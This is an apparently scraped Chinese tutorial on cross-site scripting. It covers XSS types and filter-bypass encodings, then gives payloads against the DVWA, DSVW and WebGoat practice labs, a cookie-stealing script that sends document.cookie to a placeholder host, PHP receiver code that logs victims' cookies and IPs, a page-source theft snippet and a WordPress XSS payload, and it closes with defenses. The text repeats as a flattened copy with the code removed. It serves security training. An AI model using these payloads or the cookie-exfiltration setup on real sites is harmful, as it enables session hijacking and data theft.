[红日安全]Web安全Day2 - XSS跨站实战攻防
字数 1511 2025-08-18 11:38:53

XSS跨站脚本攻击实战攻防指南

1. XSS漏洞基础理论

1.1 漏洞定义

跨站脚本攻击(XSS)是指攻击者通过在Web页面中注入恶意脚本,当用户浏览该页面时,控制用户浏览器执行恶意操作的攻击方式。

1.2 XSS分类及原理

反射型XSS

  • 非持久型攻击
  • 通过URL构造恶意代码
  • 需要诱骗用户点击恶意链接
  • 主要利用GET请求提交恶意代码

存储型XSS

  • 持久型攻击
  • 恶意代码存储在服务器数据库
  • 常见于留言板、论坛评论等
  • 每次访问都会触发恶意代码

DOM型XSS

  • 特殊反射型XSS
  • 通过修改DOM结构实现攻击
  • 不依赖服务器响应
  • 完全在客户端执行

1.3 XSS危害

  1. 盗取用户Cookie
  2. 发起XSS蠕虫攻击
  3. 钓鱼攻击
  4. 获取用户敏感信息
  5. 控制用户浏览器行为

1.4 常用XSS攻击向量

<script>alert(/xss/);</script>
<BODY ONLOAD=alert('XSS')>

<svg onload=alert(1)>
<a href=javascript:alert(1)>

1.5 XSS绕过技术

JS编码绕过

  • 八进制编码:\xxx
  • 十六进制编码:\xXX
  • Unicode编码:\uXXXX

HTML实体编码

  • 格式:&[编码];
  • 如:<script>

URL编码

  • 使用%加十六进制数
  • 如:%27表示单引号

2. XSS实战测试方法

2.1 DVWA靶场测试

环境搭建

  1. 下载DVWA:https://github.com/ethicalhack3r/DVWA
  2. 使用PHPStudy搭建
  3. 修改config.inc.php配置文件
  4. 默认账号:admin/password

Low级别测试

  • DOM型XSS:
</option></select>
  • 反射型XSS:
<script>alert(document.cookie)</script>

Medium级别测试

  • DOM型XSS:同Low级别
  • 反射型XSS(绕过script过滤):
<sc<script>ript>alert(document.cookie)</script>

High级别测试

  • DOM型XSS(使用锚点绕过):
English##<script>alert(document.cookie)</script>
  • 反射型XSS(不使用script标签):

2.2 DSVW靶场测试

  • 反射型XSS:
<script>alert(/xss aixi/)</script>
  • 存储型XSS:同上
  • DOM型XSS:
?##lang=<script>alert(/xss%20aixi/)</script>

2.3 XSS平台搭建

BlueLotus_XSSReceiver

  1. 环境要求:Apache2 + PHP7
  2. 下载地址:https://github.com/firesunCN/BlueLotus_XSSReceiver
  3. 部署步骤:
    • 解压到www根目录
    • 设置权限
    • 访问admin.php进行安装
    • 设置后台密码

简易XSS平台

  • 攻击脚本:
var img = document.createElement("img");
img.src = "http://xxx/x.php?cookie="+document.cookie;
document.body.appendChild(img);
  • 接收端PHP代码:
<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR'].': '.$_GET['cookie']."\r\n\r\n";
echo htmlspecialchars($_GET['cookie']);
$myfile = fopen("/aixi/XSS/xss_victim.txt", "a");
fwrite($myfile, $victim);
?>

3. 高级XSS攻击技术

3.1 XSS蠕虫

  • 结合CSRF实现传播
  • 自动复制恶意代码
  • 几何级数扩散

3.2 内网渗透

  • 通过XSS发起内网SQL注入
  • 获取内网IP信息
  • 内网服务探测

3.3 邮件通知

  • 配置邮件提醒功能
  • 实时获取受害者信息

3.4 页面源码窃取

function createXmlHttp() {
  if (window.XMLHttpRequest) {
    xmlHttp = new XMLHttpRequest()
  } else {
    var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
    for (var n = 0; n < MSXML.length; n++) {
      try {
        xmlHttp = new ActiveXObject(MSXML[n]);
        break
      } catch(e) {}
    }
  }
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open('GET', '{set.filename}', true);
xmlHttp.send(null);

4. XSS防御措施

4.1 输入过滤

  • 过滤特殊字符:' " < > on* 等
  • 使用白名单机制
  • 正则表达式检测

4.2 输出编码

  • HTML实体编码
  • JavaScript编码
  • URL编码

4.3 安全HTTP头

  • Content-Security-Policy
  • X-XSS-Protection
  • HttpOnly Cookie

4.4 PHP防御函数

htmlspecialchars()
mysql_real_escape_string()
addslashes()

5. 实战案例

5.1 WebGoat靶场

  • DOM型XSS:
start.mvc##test/<script>alert(document.cookie)
  • 存储型XSS:
<script>alert(document.cookie)</script>

5.2 WordPress漏洞利用

  • UTF8截断漏洞
  • 关闭MySQL strict mode
  • 分片注入攻击代码:
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; onmouseover=alert(1)//

6. 工具推荐

6.1 BruteXSS

  • GitHub地址:https://github.com/ym2011/penetration
  • 自动化XSS检测

6.2 XSSer

  • Kali自带工具
  • 安装命令:
sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip

7. 总结

XSS攻击形式多样,防御需要从输入过滤、输出编码、安全配置等多方面入手。通过靶场实践可以深入理解XSS原理及防御方法,提高Web应用安全性。

XSS跨站脚本攻击实战攻防指南 1. XSS漏洞基础理论 1.1 漏洞定义 跨站脚本攻击(XSS)是指攻击者通过在Web页面中注入恶意脚本,当用户浏览该页面时,控制用户浏览器执行恶意操作的攻击方式。 1.2 XSS分类及原理 反射型XSS 非持久型攻击 通过URL构造恶意代码 需要诱骗用户点击恶意链接 主要利用GET请求提交恶意代码 存储型XSS 持久型攻击 恶意代码存储在服务器数据库 常见于留言板、论坛评论等 每次访问都会触发恶意代码 DOM型XSS 特殊反射型XSS 通过修改DOM结构实现攻击 不依赖服务器响应 完全在客户端执行 1.3 XSS危害 盗取用户Cookie 发起XSS蠕虫攻击 钓鱼攻击 获取用户敏感信息 控制用户浏览器行为 1.4 常用XSS攻击向量 1.5 XSS绕过技术 JS编码绕过 八进制编码:\xxx 十六进制编码:\xXX Unicode编码:\uXXXX HTML实体编码 格式:&[ 编码 ]; 如:&lt;script&gt; URL编码 使用%加十六进制数 如:%27表示单引号 2. XSS实战测试方法 2.1 DVWA靶场测试 环境搭建 下载DVWA:https://github.com/ethicalhack3r/DVWA 使用PHPStudy搭建 修改config.inc.php配置文件 默认账号:admin/password Low级别测试 DOM型XSS: 反射型XSS: Medium级别测试 DOM型XSS:同Low级别 反射型XSS(绕过script过滤): High级别测试 DOM型XSS(使用锚点绕过): 反射型XSS(不使用script标签): 2.2 DSVW靶场测试 反射型XSS: 存储型XSS:同上 DOM型XSS: 2.3 XSS平台搭建 BlueLotus_ XSSReceiver 环境要求:Apache2 + PHP7 下载地址:https://github.com/firesunCN/BlueLotus_ XSSReceiver 部署步骤: 解压到www根目录 设置权限 访问admin.php进行安装 设置后台密码 简易XSS平台 攻击脚本: 接收端PHP代码: 3. 高级XSS攻击技术 3.1 XSS蠕虫 结合CSRF实现传播 自动复制恶意代码 几何级数扩散 3.2 内网渗透 通过XSS发起内网SQL注入 获取内网IP信息 内网服务探测 3.3 邮件通知 配置邮件提醒功能 实时获取受害者信息 3.4 页面源码窃取 4. XSS防御措施 4.1 输入过滤 过滤特殊字符:' " < > on* 等 使用白名单机制 正则表达式检测 4.2 输出编码 HTML实体编码 JavaScript编码 URL编码 4.3 安全HTTP头 Content-Security-Policy X-XSS-Protection HttpOnly Cookie 4.4 PHP防御函数 5. 实战案例 5.1 WebGoat靶场 DOM型XSS: 存储型XSS: 5.2 WordPress漏洞利用 UTF8截断漏洞 关闭MySQL strict mode 分片注入攻击代码: 6. 工具推荐 6.1 BruteXSS GitHub地址:https://github.com/ym2011/penetration 自动化XSS检测 6.2 XSSer Kali自带工具 安装命令: 7. 总结 XSS攻击形式多样,防御需要从输入过滤、输出编码、安全配置等多方面入手。通过靶场实践可以深入理解XSS原理及防御方法,提高Web应用安全性。